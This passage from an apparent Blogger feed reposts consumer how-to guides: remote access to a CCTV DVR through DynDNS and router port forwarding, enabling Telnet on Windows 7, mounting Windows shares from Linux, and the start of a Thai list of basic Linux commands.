 address each time you connect.  DDNS allows you to remotely connect to your  surveillance DVR over the internet if your DVR is connected to a cable or DSL  internet connection.  It is recommended that you purchase a router that supports  DDNS and connect the router to your cable or DSL modem.  There are many vendors  that provide DDNS service.  CCTV Camera Pros recommends &lt;a href="http://www.dyndns.com/"&gt;Dynamic Network Services, Inc&lt;/a&gt; because it is  free and we have tested it.  Follow the setup instructions in this section to  create and configure an account with Dynamic Network Services.  NOTE: if your  internet connection supports a static IP address, you can skip this section of  the instructions.  If you are unsure, please contact your internet service  provider.&lt;br /&gt;&lt;ol&gt; &lt;li&gt;Go to Dynamic Network Services website at &lt;a href="http://www.dyndns.com/" target="_blank"&gt;www.dyndns.com&lt;/a&gt; and sign up for an account&lt;br /&gt;&lt;/li&gt;&lt;li&gt;On the home page click on the Create Account link as seen below:&lt;br /&gt;&lt;br /&gt;&lt;img border="0" alt="Create DDNS Account" src="http://www.cctvcamerapros.com/v/vspfiles/assets/images/ddns_create_account.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Fill on all of the required fields on the sign up page and submit the sign  up form. &lt;/li&gt;&lt;li&gt;The confirmation screen will let you know that an account confirmation email  will be sent to you.  Wait a few minutes to check your mail. &lt;/li&gt;&lt;li&gt;When you receive the email, click on the link to confirm opening your  account with DynDNS, then login to your account.  The confirmation link will  being you to a login link.  After that, you can login from the dyndns.com home  page anytime.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Once logged into your account, 1) Click on the "My Services" link, 2) then  the "My Hosts" link, 3) then the "Add Host Services" link as seen  below:&lt;br /&gt;&lt;br /&gt;&lt;img border="0" alt="DynDNS Create Host" src="http://www.cctvcamerapros.com/v/vspfiles/assets/images/dyndns_create_host.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;The New Dynamic DNS Host screen will open.  In the hostname field, 1) create  a prefix and 2) select a domain name from the dropdown box.  The page will  automaticall detect your IP address, which you can leave for now.  The other  fields can be left blank.  3) Click on the "Add Host" button as seen  below.&lt;br /&gt;&lt;br /&gt;&lt;img border="0" alt="Add DNS Host" src="http://www.cctvcamerapros.com/v/vspfiles/assets/images/dyndns_add_host.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;If successful, a screen will be displayed to let you know that the hostname  was created.&lt;br /&gt;&lt;br /&gt;&lt;img border="0" alt="Hostname Created" src="http://www.cctvcamerapros.com/v/vspfiles/assets/images/dyndns_hostname_created.jpg" /&gt;&lt;span style="FONT-WEIGHT: bold"&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt; &lt;h2&gt;&lt;a name="DDNS_Router"&gt;Setting up Dynamic DNS on your Router&lt;/a&gt;&lt;/h2&gt;For these  instructions, will use a &lt;a href="http://www.dlink.com/products/?pid=6"&gt;D-Link  DI-624&lt;/a&gt; router.  We assume that the setup process for all D-Link routers that  support DDNS will be the same or similar to this.  You can use any brand router  that has Dynamic DNS support.  Please consult your routers manual or call the  router companies technical support to determine if your router has DDNS  capabilities.  If your internet connection has a static IP address, you do not  need to setup DDNS and can skip this section.  The below instructions assume  that you are working from a computer that is connected to the D-Link router.&lt;br /&gt;&lt;ol&gt; &lt;li&gt;Open the routers control panel by going to the IP address &lt;a href="http://192.168.0.1/" target="_blank"&gt;http://192.168.0.1/&lt;/a&gt; in a web  browser. You will be prompt for a password.  If you did not setup a password on  your router, enter admin for the username and leave the password blank. &lt;/li&gt;&lt;li&gt;Once you are logged into the router 1) click on the "Tools" tab, then 2)  Click on the "DDNS" button, as seen below:&lt;br /&gt;&lt;br /&gt;&lt;img border="0" alt="Dlink DDNS Setup" src="http://www.cctvcamerapros.com/v/vspfiles/assets/images/dlink-config-ddns.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;On the Dymanic DNS page do the following: &lt;ol&gt; &lt;li&gt;Select the "Enabled" radio button for the DDNS field&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Select DynDns.org from the Server Address dropdown menu &lt;/li&gt;&lt;li&gt;Enter the complete Host Name that you setup with DynDns.com &lt;/li&gt;&lt;li&gt;Enter your DynDns.com Username and Password that you setup &lt;/li&gt;&lt;li&gt;Click the "Apply" button.&lt;/li&gt;&lt;/ol&gt; &lt;/li&gt;&lt;li&gt;If everything is correct, the page will tell you that your router is  restarting.&lt;/li&gt;&lt;/ol&gt;DDNS is now configured for your router to handle.&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;&lt;a name="Connect_DVR"&gt;Connecting the MPEG4 DVR and Locating the DVRs IP  Address&lt;/a&gt;&lt;/h2&gt;When you connect your DVR (or any other device) to a router, the  router assigns the DVR an internal network address (IP address).  This IP  address allows your router to manage the location of your DVR on your network  and direct any network traffic to it.  Follow the below instructions to connect  connect your DVR to your network and locate the IP address of your DVR.&lt;br /&gt;&lt;ol&gt; &lt;li&gt;Connect your DVR to your router. This is done with a standard cat-5 Ethernet  cable. Also, connect your DVR to a monitor if you have not already done so.  Power the DVR on.  &lt;/li&gt;&lt;li&gt;On your DVR, push the the "MENU" button (reference the below image to help  locate buttons). Then, click on the right arrow button on the DVR next to the  "D-ZOOM" label until the LINK menu is highlighted on the screen. On the screen  select the first option in the LINK menu which is NETWORK and push the "STATUS"  button on the DVR. The screen will display the IP address that your DVR is  connected to and the port that it is listening on. Note these two values.  You  will need them for the next phase of these instructions.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://www.cctvcamerapros.com/v/vspfiles/images/mpeg_dvr_controls.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Click the "ESC" button on the DVR twice to exit the NETWORK menu. Then,  select "SAVE AND EXIT" on the screen and click on the "STATUS" button on the DVR  to exit.&lt;/li&gt;&lt;/ol&gt; &lt;h2&gt;&lt;a name="Virtual-Service"&gt;Setting up a Virtual Service on your D-Link  Router&lt;/a&gt;&lt;/h2&gt;The purpose of this section is to configure a virtual server  which allows internet access to your DVR.  Remember the IP address that your  router assigns to your DVR is an internal IP address (LAN).  In order you to  access your DVR from the internet, you need to tell your router to route  requests on a certain port to your DVR.&lt;br /&gt;&lt;ol&gt; &lt;li&gt;Open the routers control panel again by going to the IP address &lt;a href="http://192.168.0.1/" target="_blank"&gt;http://192.168.0.1/&lt;/a&gt; in a web  browser. You will be prompt for a password.  If you did not setup a password on  your router, enter admin for the username and leave the password blank. &lt;/li&gt;&lt;li&gt;After you are logged into your router, 1) click on the "Advanced" tab, then  2) click on the "Virtual Service" button.  This will display the Virtual Server  screen as seen below:&lt;br /&gt;&lt;br /&gt;&lt;img border="0" alt="Dlink VIrtual Service" src="http://www.cctvcamerapros.com/v/vspfiles/assets/images/dlink-virtual-service.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;On the Virtual Server screen: &lt;ol&gt; &lt;li&gt;Click on the "Enabled" radio button &lt;/li&gt;&lt;li&gt;Choose a Name for this service.  This can be anything that you choose. &lt;/li&gt;&lt;li&gt;Enter the Private IP address of your DVR that you noted previously. &lt;/li&gt;&lt;li&gt;Select TCP for the Protocal Type &lt;/li&gt;&lt;li&gt;Enter 5400 for both the Pivate Port and Public Port &lt;/li&gt;&lt;li&gt;Select "Always" for Schedule &lt;/li&gt;&lt;li&gt;Click on the "Apply" button&lt;/li&gt;&lt;/ol&gt; &lt;/li&gt;&lt;li&gt;On success, the screen will display a settings saved screen&lt;/li&gt;&lt;/ol&gt;The  virtual service to acess your DVR is now setup.&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;&lt;a name="DVR-Viewer"&gt;Installing the Remote Viewer Software for Remote Internet  Access&lt;/a&gt;&lt;/h2&gt;&lt;br /&gt;&lt;ol&gt; &lt;li&gt;From your computer, download and install the latest DVR software from here:  &lt;a class="snap_noshots" href="http://videos.cctvcamerapros.com/downloads/MPEG4-Series-DVR-Viewer.zip"&gt;MPEG-4  Series DVR Viewer Software&lt;/a&gt;. The download is in zipped format. Using Windows  XP, double-click on the .zip file after it downloads, then double click on the  setup.exe program to install.  &lt;/li&gt;&lt;li&gt;After installation is complete, double-click on the DVR viewer icon on your  windows desktop.  Reference the below image to help locate the DVR viewer icon.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://www.cctvcamerapros.com/v/vspfiles/images/mpeg_dvr_viewer_icon.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;You will be prompt for the userid and password to access. Leave the password  blank and click "OK". The DVR viewer should then open.  &lt;/li&gt;&lt;li&gt;Click on the DVR List button as seen below:&lt;br /&gt;&lt;br /&gt;&lt;img src="http://www.cctvcamerapros.com/v/vspfiles/images/mpeg_viewer_dvrlist.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;You will be prompt for  a password which again you can leave blank and click "OK".&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;The DVR list will open as seen below.&lt;br /&gt;&lt;br /&gt;&lt;img border="0" alt="DVR List" src="http://www.cctvcamerapros.com/v/vspfiles/assets/images/dvr-viewer-list-internet.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;Follow  these steps to add your DVR to the list:  &lt;ol&gt; &lt;li&gt;Check the "Use DDNS" checkbox&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Enter a name for your DVR. This can be anything you choose.  &lt;/li&gt;&lt;li&gt;Select port 5400 (or choose the port that you noted earleri from your DVR) &lt;/li&gt;&lt;li&gt;Enter the Host Name that you setup with DynDNS.com in the Domain Name field &lt;/li&gt;&lt;li&gt;Enter the password for your DVR.  Default is "11111111" (8 ones)&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Click on the "Add" button  &lt;/li&gt;&lt;li&gt;The DVR should now appear in the DVR list.  Click to select the DVR if it is  not already highlighted.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Click on the "Connect" button &lt;/li&gt;&lt;/ol&gt; &lt;/li&gt;&lt;li&gt;You will be prompt for a password to connect to the DVR. The default  password is "11111111" (8 ones). Enter the password and click "OK". &lt;/li&gt;&lt;/ol&gt; &lt;p&gt;If everything was successful you will be connected to the  DVR.&lt;/p&gt;&lt;p&gt;dyndns website:-&lt;br /&gt;&lt;a style="color: rgb(255, 0, 0);" href="http://www.dyndns.com/" target="_blank"&gt;http://www.dyndns.com&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;how to create account :-&lt;br /&gt;&lt;a style="color: rgb(255, 0, 0);" href="http://www.youtube.com/watch?v=3_tzQy76Du8" target="_blank"&gt;http://www.youtube.com/watch?v=3_tzQy76Du8&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;download dyndns updater to your PC:-&lt;br /&gt;&lt;a style="color: rgb(255, 153, 0);" href="http://cdn.dyndns.com/windows/DynUpSetup-4.1.1.exe" target="_blank"&gt;http://cdn.dyndns.com/windows/DynUpSetup-4.1.1.exe&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;port forwarding info:&lt;br /&gt;&lt;a href="http://portforward.com/" target="_blank"&gt;http://portforward.com/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt; &lt;table border="0" cellspacing="0" cellpadding="10" width="100%"&gt; &lt;tbody&gt; &lt;tr&gt; &lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7705119745791690074-6957010422738237312?l=vongvilai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vongvilai.blogspot.com/feeds/6957010422738237312/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7705119745791690074&amp;postID=6957010422738237312&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/6957010422738237312'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/6957010422738237312'/><link rel='alternate' type='text/html' href='http://vongvilai.blogspot.com/2011/06/how-to-install-cctv-online.html' title='How to install cctv online'/><author><name>MIMI inthasanh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7705119745791690074.post-6578771793354227117</id><published>2011-06-06T10:16:00.000-07:00</published><updated>2011-06-06T10:17:15.286-07:00</updated><title type='text'>Enable Telnet On window 7</title><content type='html'>&lt;span class="Apple-style-span" style="color: rgb(150, 169, 196); font-size: 10px; "&gt;&lt;h2 style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 6px; padding-right: 0px; padding-bottom: 5px; padding-left: 0px; font-family: Verdana, Arial, Helvetica, sans-serif; font-weight: bold; font-size: 1.6em; color: rgb(255, 157, 31); "&gt;&lt;a href="http://www.fettesps.com/windows-7-enable-telnet/" title="Windows 7 – Enable Telnet" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; text-decoration: none; color: rgb(255, 157, 31); "&gt;Windows 7 – Enable Telnet&lt;/a&gt;&lt;/h2&gt;&lt;div class="postmetadata" style="font-family: Verdana, Arial, Helvetica, sans-serif; margin-top: 2px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; display: block; text-align: right; color: rgb(126, 145, 166); font-size: 1.1em; "&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="post_date" style="font-family: Verdana, Arial, Helvetica, sans-serif; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 0px; padding-left: 8px; width: 36px; height: 52px; position: absolute; top: 20px; left: -54px; color: rgb(129, 144, 162); line-height: 16px; font-weight: bold; font-size: 1.2em; border-right-width: 1px; border-right-style: dashed; border-right-color: rgb(129, 144, 162); "&gt;&lt;div class="date_day" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 1px; font-size: 1.4em; color: rgb(129, 144, 162); "&gt;14&lt;/div&gt;Jun&lt;/div&gt;&lt;div class="entry" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; width: 504px; overflow-x: hidden; overflow-y: hidden; color: rgb(150, 169, 196); font-size: 1.2em; line-height: 20px; "&gt;&lt;span style="font-family: Verdana, Arial, Helvetica, sans-serif; margin-top: 5px; margin-right: 0px; margin-bottom: 10px; margin-left: 10px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; float: right; "&gt;&lt;div id="chitikaAdBeacon-849" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&lt;/div&gt;&lt;/span&gt;&lt;div style="font-family: Verdana, Arial, Helvetica, sans-serif; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 10px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; float: right; "&gt;&lt;br /&gt;&lt;ins style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; display: inline-table; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; height: 250px; position: relative; visibility: visible; width: 250px; "&gt;&lt;ins id="aswift_1_anchor" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; display: block; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; height: 250px; position: relative; visibility: visible; width: 250px; "&gt;&lt;iframe allowtransparency="true" frameborder="0" height="250" hspace="0" marginwidth="0" marginheight="0" scrolling="no" vspace="0" width="250" id="aswift_1" name="aswift_1" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; left: 0px; position: absolute; top: 0px; "&gt;&lt;/iframe&gt;&lt;/ins&gt;&lt;/ins&gt;&lt;/div&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; text-align: justify; color: rgb(174, 200, 230); "&gt;&lt;b&gt;&lt;span class="Apple-style-span" &gt;It’s very rare that I use Telnet these days, so it took a long time for me to notice that by default it was not packaged with Windows 7. I did some research and found out that this was also true for Windows Vista. More than likely this was an attempt to make Windows more secure by default, as Telnet is very insecure and whenever you have the choice you should always use SSH. However, with that being said, you can quickly re-enable Telnet by following these steps:&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;ol style="margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 10px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; list-style-type: none; "&gt;&lt;li style="margin-top: 5px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 10px; background-image: url(http://www.fettesps.com/wp-content/themes/tech-world/images/sidebar_li.gif); background-attachment: initial; background-origin: initial; background-clip: initial; background-color: initial; color: rgb(174, 200, 230); background-position: 0% 9px; background-repeat: no-repeat no-repeat; "&gt;&lt;b&gt;&lt;span class="Apple-style-span" &gt;Start&lt;/span&gt;&lt;/b&gt;&lt;/li&gt;&lt;li style="margin-top: 5px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 10px; background-image: url(http://www.fettesps.com/wp-content/themes/tech-world/images/sidebar_li.gif); background-attachment: initial; background-origin: initial; background-clip: initial; background-color: initial; color: rgb(174, 200, 230); background-position: 0% 9px; background-repeat: no-repeat no-repeat; "&gt;&lt;b&gt;&lt;span class="Apple-style-span" &gt;Control Panel&lt;/span&gt;&lt;/b&gt;&lt;/li&gt;&lt;li style="margin-top: 5px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 10px; background-image: url(http://www.fettesps.com/wp-content/themes/tech-world/images/sidebar_li.gif); background-attachment: initial; background-origin: initial; background-clip: initial; background-color: initial; color: rgb(174, 200, 230); background-position: 0% 9px; background-repeat: no-repeat no-repeat; "&gt;&lt;b&gt;&lt;span class="Apple-style-span" &gt;Programs And Features&lt;/span&gt;&lt;/b&gt;&lt;/li&gt;&lt;li style="margin-top: 5px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 10px; background-image: url(http://www.fettesps.com/wp-content/themes/tech-world/images/sidebar_li.gif); background-attachment: initial; background-origin: initial; background-clip: initial; background-color: initial; color: rgb(174, 200, 230); background-position: 0% 9px; background-repeat: no-repeat no-repeat; "&gt;&lt;b&gt;&lt;span class="Apple-style-span" &gt;Turn Windows features on or off&lt;/span&gt;&lt;/b&gt;&lt;/li&gt;&lt;li style="margin-top: 5px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 10px; background-image: url(http://www.fettesps.com/wp-content/themes/tech-world/images/sidebar_li.gif); background-attachment: initial; background-origin: initial; background-clip: initial; background-color: initial; color: rgb(174, 200, 230); background-position: 0% 9px; background-repeat: no-repeat no-repeat; "&gt;&lt;b&gt;&lt;span class="Apple-style-span" &gt;Check Telnet Client&lt;/span&gt;&lt;/b&gt;&lt;/li&gt;&lt;li style="margin-top: 5px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 10px; background-image: url(http://www.fettesps.com/wp-content/themes/tech-world/images/sidebar_li.gif); background-attachment: initial; background-origin: initial; background-clip: initial; background-color: initial; color: rgb(174, 200, 230); background-position: 0% 9px; background-repeat: no-repeat no-repeat; "&gt;&lt;b&gt;&lt;span class="Apple-style-span" &gt;Hit OK&lt;/span&gt;&lt;/b&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; text-align: justify; color: rgb(174, 200, 230); "&gt;&lt;b&gt;&lt;span class="Apple-style-span" &gt;After that you can start Telnet via Command Prompt.&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;/div&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7705119745791690074-6578771793354227117?l=vongvilai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vongvilai.blogspot.com/feeds/6578771793354227117/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7705119745791690074&amp;postID=6578771793354227117&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/6578771793354227117'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/6578771793354227117'/><link rel='alternate' type='text/html' href='http://vongvilai.blogspot.com/2011/06/enable-telnet-on-window-7.html' title='Enable Telnet On window 7'/><author><name>MIMI inthasanh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7705119745791690074.post-6943109116634232643</id><published>2011-06-05T20:30:00.000-07:00</published><updated>2011-06-05T20:31:57.930-07:00</updated><title type='text'>Access share file on window by using linux</title><content type='html'>&lt;h1&gt;Mount a Windows shared folder in Linux&lt;a href="http://lifehacker.com/people/stevejones/" title="Kyle Pott" rel="nofollow" class="avatar noHrefOverride avatarimg"&gt;       &lt;/a&gt;       &lt;a href="http://lifehacker.com/people/stevejones/" title="Click here to read posts written by Kyle Pott" class="author noHrefOverride"&gt;Kyle Pott&lt;/a&gt; —You made the switch to Linux and at least one Windows computer is still on your network. The old days when &lt;img src="file:///tmp/moz-screenshot.jpg" alt="" /&gt;&lt;img src="file:///tmp/moz-screenshot-1.jpg" alt="" /&gt;Windows and Linux didn't play together are long gone. You can easily set up your Linux computer to have read and write access to the fil&lt;img src="file:///tmp/moz-screenshot-2.jpg" alt="" /&gt;es housed on a nearby Windows computer. If you've used Macs in the past, the &lt;a href="http://lifehacker.com/software/mac-os-x/how-to-mount-a-windows-shared-folder-on-your-mac-247148.php"&gt;process is practically identical&lt;/a&gt;.&lt;br /&gt;&lt;/h1&gt;              &lt;div class="ad_300x600"&gt;  &lt;!-- widget startup --&gt; &lt;!-- runScript --&gt;&lt;script type="text/javascript"&gt;    jQuery('#ad_container_28147845').AdUnit({"mode":"iframe","width":300,"height":600,"size":"300x600","adserver_host":"hyperion.gawker.com","request_ad":true,"hide":true,"run_ad":true,"variant":"default","site":"gm.lifehacker","site_id":"17","keywords":["mtfIFPath=\/assets\/vendor\/doubleclick\/"],"random":28147845,"referer":"http%3A%2F%2Fwww.google.com%2Furl%3Fsa%3Dt%26source%3Dweb%26cd%3D1%26ved%3D0CBgQFjAA%26url%3Dhttp%253A%252F%252Flifehacker.com%252F288033%252Fmount-a-windows-shared-folder-in-linux%26rct%3Dj%26q%3Daccess%2520windows%2520network%2520on%2520linux%26ei%3D1EbsTam8M4z0vQP9x-ntDw%26usg%3DAFQjCNEiE1ZUWsRDDcq-1cn6ZIgf0gMSZw","tags":["linux101","filesharing","homenetwork","howto","linux","networking","top","windowsvista","windowsxp"],"fallback_zone":"collapse"});  &lt;/script&gt;&lt;/div&gt;  &lt;p&gt;&lt;b&gt;Set up sharing on your PC&lt;/b&gt;&lt;br /&gt;In Windows, choose the folder you want to share, right click on it and choose properties. In the Sharing tab, turn on sharing. Feel free to name your folder anything you want and ignore any warnings Windows gives about the name being longer than 12 characters.&lt;/p&gt; &lt;p&gt;&lt;img src="http://lifehacker.com/assets/resources/2007/08/Shared-Properties.PNG" class="postimg center" style="display: block;" width="300" /&gt;&lt;/p&gt; &lt;p&gt;&lt;b&gt;Determine your PC's IP Address&lt;/b&gt;&lt;br /&gt;You will need to give your Linux computer a location when trying to access shared folders. This location is your PC's IP address. In the Command Prompt type &lt;em&gt;ipconfig&lt;/em&gt; and you will see your IP address (it probably starts with 192). My IP address is shown below as &lt;em&gt;192.168.1.117&lt;/em&gt;&lt;br /&gt;&lt;img src="http://lifehacker.com/assets/resources/2007/08/IP-Add.png" class="postimg center" style="display: block;" width="300" /&gt;&lt;/p&gt; &lt;p&gt;&lt;b&gt;Accessing the shared folder from Linux&lt;/b&gt;&lt;br /&gt;There are two very easy ways to access shared folders in Linux. The easiest way (in Gnome) is to press (ALT+F2) to bring up the run dialog and type &lt;em&gt;smb://&lt;/em&gt; followed by the IP address and the folder name. As shown below, I need to type &lt;em&gt;smb://192.168.1.117/Shared&lt;/em&gt;. If you have your Windows account passworded, you will need to enter the password to access the shared folder.&lt;br /&gt;&lt;img src="http://lifehacker.com/assets/resources/2007/08/SMB.png" class="postimg center" style="display: block;" width="300" /&gt;&lt;/p&gt; &lt;p&gt;&lt;b&gt;Accessing all shared folders from Linux&lt;/b&gt;&lt;br /&gt;Linux automatically detects and connects to Windows networks. In Gnome, by going to Places and then Network you will automatically see all the Windows networks. You can then navigate through the Windows networks and connect to the shared folder. This is an easy way to manage your shared folders if you have many Windows networks with shared folders.&lt;br /&gt;&lt;img src="http://lifehacker.com/assets/resources/2007/08/Win-Networks.png" class="postimg center" style="display: block;" width="300" /&gt;&lt;/p&gt; &lt;b&gt;Making it easier&lt;/b&gt;&lt;br /&gt;By bookmarking your shared folder you can access it from the Gnome menu.&lt;br /&gt;&lt;img src="http://lifehacker.com/assets/resources/2007/08/Shared-Bookmarked.png" class="postimg center" style="display: block;" width="300" /&gt;&lt;br /&gt;&lt;br /&gt;That's all there is to it! How do you get Windows and Linux to talk to each other? Share in the&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7705119745791690074-6943109116634232643?l=vongvilai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vongvilai.blogspot.com/feeds/6943109116634232643/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7705119745791690074&amp;postID=6943109116634232643&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/6943109116634232643'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/6943109116634232643'/><link rel='alternate' type='text/html' href='http://vongvilai.blogspot.com/2011/06/access-share-file-on-window-by-using.html' title='Access share file on window by using linux'/><author><name>MIMI inthasanh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7705119745791690074.post-4429650556855771621</id><published>2011-04-25T20:51:00.000-07:00</published><updated>2011-04-25T20:52:35.686-07:00</updated><title type='text'>Linux basic command</title><content type='html'>คำสั่งลีนุกซ์ฉบับย่อ&lt;br /&gt;www.LinuxLane.com&lt;br /&gt;P.1&lt;br /&gt;ไฟล์ / ไดเรคเทอรี&lt;br /&gt;ls แสดงไฟล์ / ไดเรคเทอรี&lt;br /&gt;cp คัดลอกไฟล์ / ไดเรคเทอรี&lt;br /&gt;mv เปลี่ยนชื่อไฟล์ / ไดเรคเทอรี&lt;br /&gt;rm ลบไฟล์ / ไดเรคเทอรี&lt;br /&gt;ln ลิงค์ไฟล์ / ไดเรคเทอรี&lt;br /&gt;cd เปลี่ยนไดเรคเทอรี&lt;br /&gt;pwd แสดงไดเรคเทอรีปัจจุบัน&lt;br /&gt;mkdir สร้างไดเรคเทอรี&lt;br /&gt;rmdir ลบไดเรคเทอรี&lt;br /&gt;อ่านข้อมูลในไฟล์&lt;br /&gt;cat แสดงข้อมูลในไฟล์&lt;br /&gt;less แสดงข้อมูลในไฟล์ทีละหน้า&lt;br /&gt;head แสดงข้อมูลในไฟล์จากด้านบน&lt;br /&gt;tail แสดงข้อมูลในไฟล์จากด้านล่าง&lt;br /&gt;nl แสดงจำนวนบรรทัดในไฟล์&lt;br /&gt;od แสดงข้อมูลแบบไบนารี&lt;br /&gt;xxd แสดงข้อมูลแบบไบนารี&lt;br /&gt;gv แสดงข้อมูลในไฟล์ Postscript/PDF&lt;br /&gt;xdvi แสดงข้อมูลในไฟล์ Tex DVI&lt;br /&gt;สร้างและแก้ไขไฟล์&lt;br /&gt;emacs สร้างและแก้ไขเท็กซ์ไฟล์&lt;br /&gt;vim 